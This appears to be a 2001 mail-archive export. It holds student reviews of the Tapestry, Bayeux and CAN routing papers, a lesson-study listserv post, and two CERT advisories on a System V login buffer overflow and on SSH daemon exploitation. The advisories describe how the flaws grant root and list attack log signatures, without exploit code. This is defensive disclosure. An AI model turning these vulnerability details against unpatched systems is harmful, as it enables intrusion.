to the destination ID digit by digit. Neighbor maps are organized into routing levels and each level contains entries that point to a set of nodes closest in network distance that matches the suffix for that level. Tapestry does not replicate and cache the objects at numerous locations in the network. Instead, pointers to the location of the object are distributed in the network. This reduces the need for external load balancing techniques, though it also reduces the redundancy and thus fault-tolerance in the network. Tapestry addresses fault-tolerance by using soft-state to maintain cached content, rather than provide reliable guarantees for hard state. Caches are updated by periodic update messages or are expired if none is received. These periodic messages have the potential of consuming a considerable fraction of the bandwidth, affecting the scalability of the scheme. To circumvent the presence of faults in the network, TCP timeouts are used and two backup neighbors in addition to the primary neighbor in the neighbor map are maintained. Tapestry adds ""salt"" values to maintain multiple roots to each object. Surrogate routing is used to incrementally and deterministically compute a unique root node. tapestry uses some algorithms to support dynamic operations in the network in a distributed way. ",0,0 """John R. Teifel"" ",egs@CS.Cornell.EDU,"Tue, 04 Dec 2001 13:08:41 -0500",615 PAPER 68,"Tapestry: Tapestry is an overlay location and routing infrastructure that provides location-independent routing of messages directly to the closest copy of an object or service using only point-to-point links and without centralized resources. Routing and directory information is maintained in a soft state and is easily repairable. This infrastructure is self-administering, fault-tolerant, and resilient under load. Tapestry builds on much of the ideas from Plaxton, et al. including simple fault handling, scalability, locality exploitation, and proportional route distance. Tapestry then attempts to solve the problems associated with Plaxton, naming global knowledge, root node vulnerability, and lack of ability to adapt. One of Tapestry's main contribution is dynamic algorithms that support dynamic operations in a decentralized manner. The simulations used to evaluate Tapestry were quite extensive, utilizing both artificial and real network data. They showed that the Tapestry system, with its soft state information, can provide self-administration, robustness, scalability, dynamic adapation, and graceful degration in the presence of failures and high load, all while avoiding the problems of the Plaxton system. What is left out of this paper is how Tapestry compares to Pastry, Chord, CAN, etc. This makes this paper somewhat difficult to evaluate in terms of raw performance and overhead, but I think it provides enough motivating ideas on these types of distriubted systems to make it valuable literature. ",0,0 hao ming ,'Emin Gun Sirer' ,"Tue, 04 Dec 2001 13:17:26 -0500",615 PAPER 69,"Bayeux: An Architecture for Scalable and Fault-tolerant Wide-area Data Dissemination Shelley Q. Zhuang, Ben Y. Zhao, Anthony D. Joseph, Randy H. Katz, John D. Kubiatowicz This paper presents a application of Tapestry for multicast. The key of efficient multicasting is to reduce the data Duplication. Because of the routing algorithms of Tapestry, the nodes with similar suffix can be group together and data duplication only happens when there is diverge of forwarding. Further, Bayuex gets the necessary properties like fault Tolerance, load balancing and scalability from the Tapestry. The algorithms adopted by Bayeux is follows: 1. each session s IDed by a tuple which is broadcast to the network. Each client send explicit Join message to root to join the tree and forwarding tree is set up when root sends Tree message back to the requesting client. 2. for scalability and elimination of single root node failure, the multiple roots of Tapestry is used and clients will join the tree rooted at the nearest root node. This is very good. 3. explicit clients clustering by assigning to the neighbors nodes with longest suffix. 4. fault tolerance. Tapestry provides two good properties for tolerance. One is backup route for each entry in the routing table. The second is the converging feature of naming system of Tapestry. Based on these two properties, the paper proposes five fault resilient delivery protocols. Basically, different ways choosing backup paths result in those different protocols, including proactive duplication which duplicate data simply to its first backup path; application specific information duplication which I like most. For streaming materials, data can be divided into several channel to transfer different quality data. Higher resolution data is losable; and other protocols considering delay, link traffic metrics. comments: 1. Tapestry provides really some nice features which is just what multicasting streaming multimedia application needs. They really select a very good application for Tapestry. 2. on the physical link stress, I do not think Bayeux is much better than the worst case IP unicast in F.4 because it looks most of links have same stress number like Bayeux. -ming ",0,0 Daehyun Kim ,egs@CS.Cornell.EDU,"Tue, 04 Dec 2001 13:44:49 -0500",615 PAPER 68,"This paper presents Tapestry which is an overlay location and routing infrastructure that provides location-independent routing of messages using only point-to-point links and without centralized resources. Tapestry is a self-organizing, scalable, robust wide-area infrastructure that efficiently routes requests to contents. It is based on the Plaxton distributed search technique, augmented with additional mechanisms to provide availability, scalability and adaptation in the presence of failure and attacks. It offers system-wide stability through statistics. Faulty components are masked, failed routes are bypassed, nodes under attack are removed from the service and communication topologies are rapidly adapted to circumstances. Tapestry overcome the limitation of Plaxton - the static nature of the algorithm. It focuses on supporting dynamic operations in a decentralized manner. It has additional mechanisms that leverage soft state information and eliminate the need for global information, root node vulnerabilities and a lack of adaptability, which provide good features mentioned above. The simulation results also show that they have achieved these design goals. ",0,0 Daehyun Kim ,egs@CS.Cornell.EDU,"Tue, 04 Dec 2001 13:45:19 -0500",615 PAPER 69,"This paper presents Bayeux which is an efficient application-level multicast system that scales to arbitrarily large receiver groups while tolerating failures in routers and network links. Bayeux is base on Tapestry. Streaming multimedia applications are growing at an incredible rate and they require a large scale multicast mechanism. Using unicast mechanism for this purpose is completely impractical. Bayeux is an efficient, source-specific, explicit-join, application-level multicast system. It combines randomness for load balancing with locality for efficient use of network bandwidth. It is based on Tapestry which uses a prefix-based routing scheme and provides a simple protocol which organizes the multicast receivers into a distribution tree. Bayeux multicast session is identified by a tuple . It maps the tuple into a 160 bit identifier by SHA-1 and create a file with that identifier and place it on the root node. Then, it advertises the document by the Tapestry's data location services. Client that wants to join a session performs the same operations to generate the file name and query for it using Tapestry. Then the root node receives this message and allows it to perform the required membership operations. A member joins the session by sending a JOIN message to the root, which then replies with a TREE message. When a router receives a TREE message, it adds the new member ID to the list of receiver IDs and updates the forward table. For leaving the session, the similar operations are performed with LEAVE and PRUNE messages.",0,0 Prince Samar ,egs@CS.Cornell.EDU,"Tue, 04 Dec 2001 13:54:02 -0500",615 PAPER 69,"Bayeux: An Architecture for Scalable and Fault-tolerant Wide-area Data Dissemination. Bayeux is an application-level multicasting system built on top of the Tapestry location and routing scheme. The tree-based, source-specific, explicit-join multicast service is designed for dissemination of streaming multimedia on the internet. The design goals for Bayeux have been scalability, efficiency and fault-resilience. The Bayeux multicast session is identified by the tuple . For session advertisement, a 160 bit hash of this tuple is formed and a trivial file with this name is formed and kept at the multicast session's root node. Tapestry's location service can then be used to advertize this document. JOIN, LEAVE, TREE and PRUNE messages are used to form the multicast tree. A JOIN message is sent by a node willing to join the tree, and it receives the TREE message as an acknowledgement. A LEAVE message from a member node is followed by a PRUNE message by the root to enable the leave operation. To increase the scalability, Bayeux uses tree-partitioning and receiver clustering. Tree partitioning is done to create multiple roots and thus reduce the load on the single node and eliminate a single point of failure. Receiver identifier clustering allows local nodes to share the longest possible suffix. This may reduce the length of the path, but at the same time decreases fault tolerance by increasing the dependence on the same local set of nodes. Bayeux utilizes Tapestry's redundant routing paths for fault-resilient packet delivery. Reliance on time-outs has the potential of increasing the delay, thus affecting the performance of delay-sensitive streaming multimedia.",0,0 """John R. Teifel"" ",egs@CS.Cornell.EDU,"Tue, 04 Dec 2001 14:00:21 -0500",615 PAPER 69,"Bayeux: Bayeux is an architecture for scalable and fault-tolerant wide-area data dissemination. It provides efficient application-level multicast which scales to large receiver groups while tolerating failures in the network topology. Bayeux introduces specific load-balancing mechanisms to replicate root nodes and obtain more efficient bandwidth utilization. Bayeux uses the Tapestry architecture to achieve the above properties while also keeping the transmission overhead low. They evaluate their network performance based on two performance metrics, the relative delay penalty and the physical link stress. This work is part of the OceanStore project and they are continuing to evaluate its effectiveness in their simulation environment. It is not clear why their underlying hierarchical infrastructure is better than the other systems such as the projects at MIT, Microsoft, etc. ",0,0 Indranil Gupta ,egs@CS.Cornell.EDU,"Tue, 04 Dec 2001 14:40:42 -0500",615 PAPER 68,"Tapestry: an infrastructure for fault-tolerant wide-area location and routing, Zhao, Kubiaowitz, Joseph. Reviewer: Indranil Gupta This paper describes Tapestry, a large-scale routing infrastructure. Tapestry's underlying infrastructure is very similar to Pastry, with nodes choosing random id's based on a hash with SHA-1. The routing infrastructure relies on the neighbor table, which is the same as in Pastry. The only major differences with Pastry are 1) object replication is not done across neighbors in the namespace, but by using salts to hash the object id, and 2) that objects are not cached at intermediate nodes (between requesting node and root) in Tapestry - only pointers to the root are. Comments: - Tapestry is subject to a lot of the same criticisms as Pastry and Chord. Several researchers have raised the issue of whether such systems might actually be inherently unscalable due to several reasons, such as excessive copying due to pathological node failures. - Heartbeating across sets of nodes holding the same replicated object can impose a large load on the network (each node has to heartbeat to a subgroup of nodes for each object replica it holds), leading to either a compromise of the object availability properties, or a high load on core routers. ",0,0 Indranil Gupta ,egs@CS.Cornell.EDU,"Tue, 04 Dec 2001 14:41:10 -0500",615 PAPER 69,"Bayeux: an architecture for scalable and fault-tolerant wide-area data dissemination, Zhuang, Zhao, Joseph, Katz, and Kubiaowitz. Reviewer: Indranil Gupta This paper discusses multicast overlay schemes on top of the Tapestry routing framework. The algorithm is very similar to multicast routing in Pastry, where objects are associated with an id in the name space, and trees are constructed from receivers by including all nodes on the path to the root. The major deviation from Pastry's algorithms are that multiple roots are used in Bayeux, and that Bayeux talks about fault-tolerant packet delivery. Comments: - The Bayeux schemes for 'fault-resilient' routing (by using backup paths) tolerate only a certain number of failures (message losses, node crashes) in the network. In that sense, it only seems to be 'best-effort' fault-tolerance. There is no analysis of the behavior of Bayeux for applications that require *reliable* delivery of packets. Ack-based or nak-based protocols, such as SRM and RMTP, that are typically used for Internet multicast groups, are known to have scalability problems, in terms of message implosion with rising multicast group size. ",0,0 """Panagiotis (Panos) Papadimitratos"" ",Emin Gun Sirer ,"Tue, 04 Dec 2001 14:48:42 -0500",615 PAPER 68," Review of:""Tapestry: An Infrastructure for Fault-tolerant Wide-area Location and Routing,"" by B. Y. Zhao et al. Panagiotis Papadimitratos papadp@ece.cornell.edu Tapestry is an application-level routing protocol that addresses the issue of locating data objects, which in principle are replicated through out the network. The addressing scheme draws from the classless inter-domain routing architecture, in the sense that it also aims at reducing dramatically the size of the routing tables (of course, no question it would be exhausting its name space :) The data are replicated and reside to a relatively limited set of servers, while meta-data, i.e., their advertisements are stored throughout the network, as servers publish the file ID's and they propagate. The server IDs are generated in a pseudo-random manner and are location-independent, and each published advertisement comprises the server Id -object Id pair. Routing is perfromed to the nearest 'neighbor' according to the name suffix, which guarantees log_b(N) hops per message. The suffix-based organization of names allows the neighbor table sizes to also be logarithmically bounded, due to the route aggregation in single route entries. The size is increased by the back-up links that are maintained in order to deal with 'route' failures. Algorithms for dynamic insertion and removal of nodes, node state handling and additional optimizations are also provided. ",0,0 """Panagiotis (Panos) Papadimitratos"" ",Emin Gun Sirer ,"Tue, 04 Dec 2001 15:19:10 -0500",615 PAPER 69," Review of : ""Bayeux: an architecture for scalable and Fault-tolerant wide-area data dissemination,"" by S.ZQ.Zhuang et al Panagiotis Papadimtratos papadp@ece.cornell.edu Bayeux extends Tapestry by providing a multicast delivery protocol at the application level as well. The oblect location infrastructure provided by Tapestry lets bayeux naturally built logical trees rooted at the network location that stores data and wishes to initiate a multicast session. The fault-tolerance properties provided by Tapesty are enhanced here, at the expense of transmission overhead with packet duplication. Moreover, Bayeux partitions the logical trees so that it reduces the processing overhead of the root nodes. In particular, the multicast operation is facilitated by the route aggregation, which practically keeps the tree fanout low, i.e., equal to the name/address base. Moreover, delivery to multiple tree nodes does not imply that a packet has to be duplicated: it is sufficient to send one replica per address prefix. Also, the tree depth depends on the size of the name space. The root node advertises the session (i.e., the file id) which is stored at intermediate nodes, as described in Tapestry. As nodes join/leave the session, which is source- and data- specific, the requests propagate to the root of the tree. In order to balance this load, the authors propose to partition not only the trees but also oranize the nodes so that the access different trees according to the network proximity. The issue of network proximity in the light of the location-independent addressing schemes is recurring in the relevant literature, and sounds contradictory for schemes to backtrack to the ideas of an architecture that they had a priori rejected for their purposes. ",0,0 Edward Hua ,egs@CS.Cornell.EDU,"Wed, 05 Dec 2001 18:12:27 -0500",615 Paper # 70 ,"A Scalable Content-Addressable Network Sylvia Ratnasamy, Paul Francis, Mark Handley, Richard Karp, Scott Shenker This paper proposes an algorithm designed to improve the indexing scheme used to map file names to their locations in a scalable peer-to-peer file distribution system. The Content-Addressable Network, or CAN, acts as a hash table, whose main function is name resolution, in a decentralized fashion. It performs insertion, lookup, and deletion of pairs in the network. CAN does not limit its application to peer-to-peer networks; it may also be implemented in wide-area name resolution services that decouple the naming scheme from the name resolution process. The namespace of CAN is built in a d-dimensional Cartesian coordinate space on a d-torus. The design partitions this space into n zones, corresponding to the n hosts in the network. Each host maintains a neighbor map. The nodes send out periodic update messages to their neighbors reporting the zone coordinates and neighbor lists. These periodic updates manifest their importance when node joins and departures take place in the coordinate space. The joining of a node to the network involves identifying a node currently in the network and acquiring half of the zone it oversees. Likewise, the departure of the node involves giving its zone to one of its neighbors. In either case, the neighbor nodes will learn the change in the topology by the exchange of periodic updates. The researchers of CAN also propose some design improvements on top of the base operations it carries out. The first one is to have multiple dimensions (beyond the conventional 3-dimensionality) in constructing the coordinate space. The second is to have multiple coordinate spaces, or realities so that each node occupies a different zone in these different spaces. Both techniques achieve a smaller path length, although for the same number of neighbors, increasing the dimensions of the space yields short path lengths than increasing the number of realities. However, the trade-off for the advantage of multi-dimensionality over multi-reality is the increase in the average per-node neighbor state. Further design improvements are also proposed to enhance performance of the CAN. First, the routing metric, which was purely based on the distance from a client to a destination, is now weighted with round-trip time (RTT). Also, Instead of having one node occupy a zone in the coordinate space, multiple nodes can occupy the same zone, forming a peer-ship amongst themselves. This zone overloading technique does not increase the amount of neighbor information an individual node must carry, but does require to hold additional states for its own peers. Other techniques, such as using multiple hash functions, topologically-sensitive construction of CAN overlay network, uniform portioning of coordinate zones, and caching and replication for hotspot management are being explored. Some of the prices to pay for enhanced functionality in CAN are listed below. First, there is a constant need for all nodes in the CAN to periodically send update messages to their neighbors, even though if the topology is relatively constant over a long period of time, as is often the case in wired networks. This incurs a substantial consumption of the network bandwidth. Second, the use of multiple realities inevitably demands an increase in the disk space in the nodes. Third, it seems that the scheme is rather computationally intensive, demanding a lot of CPU power on each of the nodes. While experiencing reduction in routing delay with the design enhancements, some of that reduction may be offset by the internal computing power (e.g., the power to send periodic updates with multiple realities). Therefore, more accurate measurements of the amount of delay saved are needed to strike a balance between the overall system complexity and reduced routing delay.",0,0 Avneesh Bhatnagar ,egs@CS.Cornell.EDU,"Thu, 06 Dec 2001 13:15:11 -0500",615 Paper 70,"A scalable content addressable network This paper presents the design of a scalable indexing mechanism, which unlike Chord and PAstry, visualizes the routing space as a d dimensional torus. A hashing mechanism is used here to store a key, value pair where the key is deterministically mapped onto a point P using the hashing mechanism. Routing is done by using greedy forwarding; each node has a set of neighbors whose coordinate spans overlap in d-1 dimensions and which abut in one dimension. This gives the average path length as d/4(n^1/d), while the max number of neighbors would be 2d. Each can node keeps a chunk (zone) of the hashtable containing the key value pairs. In order to join the CAN network, a node must query an existing CAN node, which then attempts to find a neighbor node whose hash zone needs to be split. This is chosen randomly in the simple version of the algorithm, but can be chosen as a function of how much load a particular zone has (size). Larger zone would be a good candidate for splitting. The node then joins the routing mechanism, by informing its new neighbors of its existence and updating its neighbor state on the basis of soft state updates. Node departure is followed by a timed TakeOver message, which a neighbor that detects lack of response from a node, sends to the failed node's neighbors informing them of a takeover of the zone. The authors then discuss and improve the basic algorithm, and also evaluate the impaacts of the improvements: a. Multidimensional co-ordinate spaces: Increasing dimensions of CAN coordinate space yields shorter path lengths. b. Realities: Each node can maintain multiple coordinate spaces, with contents of the hash table being replicated at each of these. This 'replication' yields better data availability and lower hop count. c. Better routing metrics such as measuring the latency between nodes, to avoid long hops. d. Having overloaded co-ordinate zones, i.e. instead of one node owning a zone, multiple nodes do so, and this improves fault tolerance along with reduced per hop latency/path length. e. Multiple hash functions: k different hash functions that map a single key to k different points would also increase availability. f. Topologically sensitive routing. This feature is well handled in e.g. Pastry which takes into account leaf sets while routing. Here this would be a problem, which the authors attempt to solve by setting up 'landmarks' upon which geographically close routing can be leveraged. g. Caching and replication of commonly used data can alleviate strain on hot spots. The authors then evaluate CAN with and without these factors and also the effect that each of these has on the overall performance. I think Table 3 on page 169 gives a very good idea of how these changes affect performance. I think that this paper was quite well written and brings some important issues into light. The idea of zones is quite interesting. The only issue that I can see here is again the inherent assumption that all nodes are equal in capabilities. Furthermore, there seems to be quite a lot of state that would have to be transferred periodically if we were to look at the best case performance as shown on page 168 (30 nodes as neighbors). Furthermore, it would have been interesting if the authors had evaluated this with the Pastry and Chord designs to trade off the zone idea with a simple circular ring. ",0,0 jitzel@state.de.us,Lesson Study Listserv ,"Fri, 07 Dec 2001 11:50:03 -0500",lesson study sites,"If you are in one of the following states and are involved in a lesson study group, please contact me and share what you're doing. Thanks! Alabama, Alaska, Arizona, Arkansas, Colorado, Florida, Georgia, Hawaii, Idaho, Iowa, Kansas, Louisiana, Maine, Missouri, Montana, Nebraska, Nevada, New Hampshire, New Mexico, N.Carolina, N.Dakota, Oklahoma, Rhode Island, S.Carolina, S.Dakota, Utah, Vermont, W.Virginia, Wisconsin, Wyoming. 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Bill Jackson Math facilitator Paterson PS #2 "" (Janice Itzel)"" wrote: > To lesson study practitioners: Please share the ways in which teachers are > provided release time in your schools/districts to collaboratively plan, > observe, and debrief lessons. Thanks! > > Janice Itzel, Teacher-on-Loan, Lesson Study > Delaware Department of Education > 302-739-4885, ex.3333 > jitzel@state.de.us > > --- > You are currently subscribed to lessonstudy as: wcjackson@mindspring.com > To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,0 CERT Advisory ,cert-advisory@cert.org,"Wed, 12 Dec 2001 18:12:58 -0500",CERT Advisory CA-2001-34 Buffer Overflow in System V Derived Login," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-34 Buffer Overflow in System V Derived Login Original release date: December 12, 2001 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * IBM AIX versions 4.3 and 5.1 * Hewlett-Packard's HP-UX * SCO OpenServer 5.0.6 and earlier * SGI IRIX 3.x * Sun Solaris 8 and earlier Overview Several applications use login for authentication to the system. A remotely exploitable buffer overflow exists in login derived from System V. Attackers can exploit this vulnerability to gain root access to the server. I. Description Several implementations of login that are derived from System V allow a user to specify arguments such as environment variables to the process. An array of buffers is used to store these arguments. A flaw exists in the checking of the number of arguments accepted. This flaw permits the array of buffers to be overflowed. On most systems, login is not suid; therefore, it runs as the user who called it. If, however, login is called by an application that runs with greater privileges than those of the user, such as telnetd or rlogind, then the user can exploit this vulnerability to gain the privileges of that program. In the case of telnetd or rlogind, root access is gained. Since in.telnetd and in.rlogind are available over the network, a remote attacker without any previous access to the system could use this vulnerability to gain root access to the system. If a program that invokes login is suid (or sgid) USER_A, then this can be exploited to gain the privileges of USER_A. An exploit exists and may be circulating. II. Impact This vulnerability can be remotely exploited to gain privileges of the invoker of login. In the case of a program such as telnetd, rlogind, or other suid root programs, root access is gained. III. Solution Apply a patch from your vendor Appendix A contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Please review the VU#569272 for your vendor's status or contact your vendor directly. Restrict access to login We recommend disabling TELNET, RLOGIN and other programs that use login for authentication. Do not use programs that use a vulnerable login for authentication. Note that some SSH applications can be configured to use login for authentication. If this configuration is selected, then you will still be vulnerable. If you cannot disable the service, you can limit your exposure to these vulnerabilities by using a router or firewall to restrict access to port 23/TCP (telnet) and port 513/TCP (rlogin). Note that this does not protect you against attackers from within your network. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Apple Computer, Inc. Mac OS X and Mac OS X Server are not vulnerable. Caldera We are not using a SystemV based /bin/login, we are using the BSD originated rlogin tools. All OpenLinux products are 'Not Vulnerable'. Compaq Computer Corporation Compaq's Tru64 Software is not impacted by this reported problem. Cray Inc. Cray Inc. has determined that its implementation of login is not vulnerable to the situation described in VU#569272. Hewlett-Packard HP-UX is NOT Exploitable, even though HP-UX does have the buffer overflow, and hence is listed as ""effected"" above. In any case, the buffer overflow has been fixed by HP. IBM IBM's AIX operating system, versions 4.3 and 5.1, are susceptible to this vulnerability. We have prepared an emergency fix (""efix""), ""tsmlogin_efix.tar.Z"", and it is available for downloading from: ftp://aix.software.ibm.com/aix/efixes/security The APAR assignment for AIX 5.1 is IY26221, and will be available soon. The APAR for AIX 4.3 is pending, as a new level of 4.3 is nearly available. The ""README"" file at the above FTP site will be updated to provide the official fix information and availability. NetBSD NetBSD does not use a System V derived login, and therefore, NetBSD is not vulnerable. Red Hat Red Hat Linux does not use a System V derived /bin/login, and is therefore not vulnerable to this. Sun Microsystems Sun has developed a fix and T-patches are being tested. Official patches will be released shortly and Sun will issue a Sun Security Bulletin when they are available. _________________________________________________________________ The CERT Coordination Center thanks Internet Security Systems and Sun Microsystems for the technical information they provided. _________________________________________________________________ Feedback on this document can be directed to the author, Jason A. Rafail _________________________________________________________________ References * http://www.kb.cert.org/vuls/id/569272 * http://www.kb.cert.org/vuls ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-34.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2001 Carnegie Mellon University. Revision History December 12, 2001 : Initial Release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPBfg3qCVPMXQI2HJAQE8swP/SGmx37pJWLq9fWhwx/xzu/DSwf8AnjjP jYbOqE+Iy17YOlI38q1MMh3ifgWoQSW6EeCWlt+Wu6R19APdfbuIbEv+/1iDP+6/ VZK+nnjs4F/i7rWcW0vH8jojFrNkXpAfuZIMEkvzcS/EkrgCisIiB3x9t75CQT+6 V7+HUmMS7+0= =aq9W -----END PGP SIGNATURE----- ",0,1 CERT Advisory ,cert-advisory@cert.org,"Thu, 13 Dec 2001 14:33:31 -0500",CERT Advisory CA-2001-35 Recent Activity Against Secure Shell Daemons," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-35 Recent Activity Against Secure Shell Daemons Original release date: December 13, 2001 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected Systems running implementations of the Secure Shell (SSH) protocol Overview There are multiple vulnerabilities in several implementations of the Secure Shell (SSH) protocol. The SSH protocol enables a secure communications channel from a client to a server. We are seeing a high amount of scanning for SSH daemons, and we are receiving reports of exploitation. System administrators should review their configurations to ensure that they have applied all relevant patches prior to the holiday break. I. Description There are multiple vulnerabilities in several implementations of the Secure Shell (SSH) protocol. While these problems have been previously disclosed, we believe many system and network administrators may have overlooked one or more of these vulnerabilities. We are issuing this document primarily to encourage system and network administrators to check their systems, prior to the holiday break, for exposure to each of these vulnerabilities. The CERT/CC is still seeing active scanning and exploitation of vulnerabilities related to SSH. We also believe that it is important for system administrators to realize that several implementations of SSH version 2 will use their implementation of SSH version 1 if it is present and requested by the client. Therefore, upgrading to SSH version 2 is not necessarily a sufficient means to patch vulnerabilities that are present in the SSH version 1 implementation. The following vulnerability note and incident note describe activity regarding the SSH CRC32 attack detection code integer overflow vulnerability. VU#945216 - SSH CRC32 attack detection code contains remote integer overflow There is a remote integer overflow vulnerability in several implementations of the SSH1 protocol. This vulnerability is located in a segment of code that was introduced to defend against exploitation of CRC32 weaknesses in the SSH1 protocol (see VU#13877). The attack detection function (detect_attack, located in deattack.c) makes use of a dynamically allocated hash table to store connection information that is then examined to detect and respond to CRC32 attacks. By sending a crafted SSH1 packet to an affected host, an attacker can cause the SSH daemon to create a hash table with a size of zero. When the detection function then attempts to hash values into the null-sized hash table, these values can be used to modify the return address of the function call, thus causing the program to execute arbitrary code with the privileges of the SSH daemon, typically root. IN-2001-12 - Exploitation of vulnerability in SSH1 CRC-32 compensation attack detector In reports received by the CERT/CC, systems compromised via this vulnerablity have exhibited the following pattern in system log messages: hostname sshd[xxx]: Disconnecting: Corrupted check bytes on input. hostname sshd[xxx]: Disconnecting: crc32 compensation attack: network attack detected hostname sshd[xxx]: Disconnecting: crc32 compensation attack: network attack detected .. Some exploits for this vulnerability appear to use a brute force method, so many messages of this type may be logged before a system is successfully compromised. The following artifacts have been discovered on systems that were successfully compromised: * Installation of rootkits that modify standard system utilities to hide the intruder's actions * Installation of Trojan horse versions of the SSH software, compiled from the latest OpenSSH source code plus intruder-supplied modifications * Installation of tools to scan large network blocks for other systems that are vulnerable to compromise. Log files left behind from these tools indicate that they operate by looking for the banner displayed upon connection to the sshd service. For a list of vulnerability notes related to SSH vulnerabilities, please see the References section. II. Impact The CRC32 attack detection code integer overflow vulnerability, as well as some of the vulnerabilities listed in the References section, can be exploited remotely. In some cases, they allow an intruder to execute arbitrary code with the privileges of the SSH application daemon, usually root. In some cases, an intruder must be an authorized user of the system. For specific information about the impacts of each of these vulnerabilities, please consult the CERT Vulnerability Notes Database (http://www.kb.cert.org/vuls). III. Solution Update to the latest version If possible, update your implementation of SSH to the latest release. If you are unable to update to the latest version, apply all relevant patches to your current version. It is also recommended that you look at the security or support section on each vendor's site. Note that it is important for system administrators to realize that several implementations of SSH version 2 will use their implementation of SSH version 1 if it is present and requested by the client. Therefore, upgrading to SSH version 2 is not necessarily a sufficient means to patch vulnerabilities that are present in the SSH version 1 implementation. Current versions for Data Fellows (F-Secure) can be found at http://www.f-secure.com/products/ssh/. Current versions for SSH Communications Security can be found at http://www.ssh.com/products/ssh/download.cfm. Current versions for OpenSSH can be found at http://www.openssh.com. Please visit your vendor's web site for the latest version. Apply a patch from your vendor Appendix A contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments for the advisory. Please review the CERT Vulnerability Notes Database (http://www.kb.cert.org/vuls) or contact your vendor directly. Restrict access to the SSH service As a general practice, we recommend disabling all services that are not explicitly required. You may wish to disable the SSH access if there is not a patch available from your vendor. If you cannot disable the service, you can limit your exposure to these vulnerabilities by using a router or firewall to restrict access to port 22/TCP (SSH). Use tcp wrappers or a program that provides similar functionality, or use the key-based IP restriction offered by your implementation. Note that this does not protect you against attackers from within your network. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments for the advisory. Please review the CERT Vulnerability Notes Database (http://www.kb.cert.org/vuls) or contact your vendor directly. Berkeley Software Design, Inc. (BSDI) The current 3.0.2p1 version of OpenSSH is available for BSD/OS version 4.2 in patch M420-018 and for BSD/OS 4.3 in patch M430-001. Patches are available via ftp from ftp://ftp.bsdi.com/bsdi/patches or via our web site at http://www.bsdi.com/support. Fujitsu Fujitsu's UXP/V operating system is not affected by the SSH security vulnerabilities because it does not support the SSH package. Hewlett-Packard Company This issue does not apply to HP-UX. HP does not ship SSH. IBM Corporation IBM's AIX operating system does not ship with OpenSSH; however, OpenSSH isavailable for installation on AIX via the Linux Affinity Toolkit. The version included on the CD containing the Toolkit is vulnerable to the latest discovered vulnerability discussed here, VU#157447, as was the version of OpenSSH available for downloading from the IBM Linux Affinity website. We have updated this version on the website to one that is not vulnerable to this security exposure. This version also fixes the other vulnerabilities described in this advisory. Customers can download this version by going to: http://www6.software.ibm.com/dl/aixtbx/aixtbx-p This site contains Linux Affinity applications containing cryptographic algorithms, and new users of this site are asked to register first. NetBSD The CRC32 attack vulnerability was patched in NetBSD-current on October 30, 2000. NetBSD 1.5 and later already include the patch. Users maintaining earlier revisions of NetBSD should update their systems using the security/openssh package from NetBSD pkgsrc if they have not already done so. Up to date NetBSD security information on SSH, and other vulnerabilities is available from http://www.netbsd.org/Security/ Sun Microsystems Sun does not ship the Secure Shell (SSH), thus Solaris is not affected by this issue. _________________________________________________________________ The CERT Coordination Center thanks Markus Friedl of OpenSSH for the technical assistance he provided. _________________________________________________________________ Feedback on this document can be directed to the authors, Jason A. Rafail and Chad Dougherty _________________________________________________________________ References ID Date Public Name VU#19124 01/20/98 SSH authentication agent follows symlinks via a UNIX domain socket VU#13877 06/11/98 Weak CRC allows packet injection into SSH sessions encrypted with block ciphers VU#40327 06/09/2000 OpenSSH UseLogin option allows remote execution of commands as root VU#363181 12/07/2000 OpenSSH disregards client configuration and allows server access to ssh-agent and/or X11 after session negotiation VU#850440 01/16/2001 SSH1 may generate weak passphrase when using Secure RPC VU#684820 01/18/2001 SSH-1 allows client authentication to be forwarded by a malicious server to another server VU#565052 01/18/2001 Passwords sent via SSH encrypted with RC4 can be easily cracked VU#786900 01/18/2001 SSH host key authentication can be bypassed when DNS is used to resolve localhost VU#25309 01/18/2001 Weak CRC allows RC4 encrypted SSH1 packets to be modified without notice VU#118892 01/18/2001 Older SSH clients do not allow users to disable X11 forwarding VU#665372 01/18/2001 SSH connections using RC4 and password authentication can be replayed VU#315308 01/18/2001 Weak CRC allows last block of IDEA-encrypted SSH packet to be changed without notice VU#945216 02/08/2001 